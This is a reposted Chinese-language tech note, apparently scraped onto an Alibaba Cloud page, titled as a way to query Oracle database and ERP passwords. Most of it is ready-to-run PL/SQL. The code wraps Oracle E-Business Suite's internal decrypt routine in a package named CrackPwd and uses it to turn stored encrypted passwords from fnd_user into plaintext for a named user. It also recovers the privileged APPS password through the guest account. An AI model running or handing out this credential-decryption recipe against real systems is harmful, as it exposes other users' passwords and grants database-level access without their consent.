查詢ORACLE 數據庫密碼和ERP 密碼

來源:互聯網
上載者:User

1)先建立Package

CREATE OR REPLACE PACKAGE APPS.CrackPwd AUTHID CURRENT_USER
AS
   FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)
      RETURN VARCHAR2;
END CrackPwd;
/

CREATE OR REPLACE PACKAGE BODY APPS.CrackPwd
AS
   FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)
      RETURN VARCHAR2
   AS
      LANGUAGE JAVA
      NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
END CrackPwd;
/

2)建立後可以直接執行下面SQL

  DECLARE
   v_encrypted_pwd   VARCHAR2 (100);
   v_apps_pwd        VARCHAR2 (100);
   v_user_pwd        VARCHAR (100);
BEGIN
  -- v_encrypted_pwd :='ZGF8C9616AD138A7F985E6316F55717D0F4EC37064A09A7F4DC67961E60A3880D8B00B3018595A4FB3E95B632AACC3376B61';
  select ENCRYPTED_USER_PASSWORD into v_encrypted_pwd from fnd_user where user_name='GAOLEI'; -----ERP帳號
--get  ENCRYPTED_USER_PASSWORD from fnd_user
   IF v_apps_pwd IS NULL
   THEN
      v_apps_pwd := 'APPSDEV3';  ------DB數據庫名字
   END IF;

   v_user_pwd := crackpwd.getpwd (v_apps_pwd, v_encrypted_pwd);
   DBMS_OUTPUT.put_line (v_user_pwd);
END;

3)查詢數據庫名字(前提是要進入數據庫)

SET SERVEROUTPUT ON
DECLARE
  guestUserPwd VARCHAR2(200);
  guestUserName VARCHAR2(100);
  guestFndPwd VARCHAR2(100);
  guestEncFndPwd VARCHAR2(100);
  delim NUMBER;
BEGIN
guestUserPwd :='GUEST/ORACLE';--Can any user password
IF  guestUserPwd IS NULL THEN
         guestUserPwd := UPPER(fnd_profile.value('GUEST_USER_PWD'));
  END IF;
  DBMS_OUTPUT.put_line(guestUserPwd);
  delim := INSTR(guestUserPwd,'/');
  guestUserName := UPPER(SUBSTR(guestUserPwd,1,delim-1));
  DBMS_OUTPUT.put_line(guestUserName);
   SELECT encrypted_foundation_password INTO guestEncFndPwd
  FROM fnd_user_view
  WHERE user_name = guestUserName AND (start_date <= SYSDATE) AND
    (end_date IS NULL OR end_date > SYSDATE);
     guestFndPwd :=CrackPwd.getpwd(guestUserPwd,guestEncFndPwd);
    IF NOT (guestFndPwd IS NULL) THEN
       DBMS_OUTPUT.put_line(guestFndPwd);
    END IF;
END;

 

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.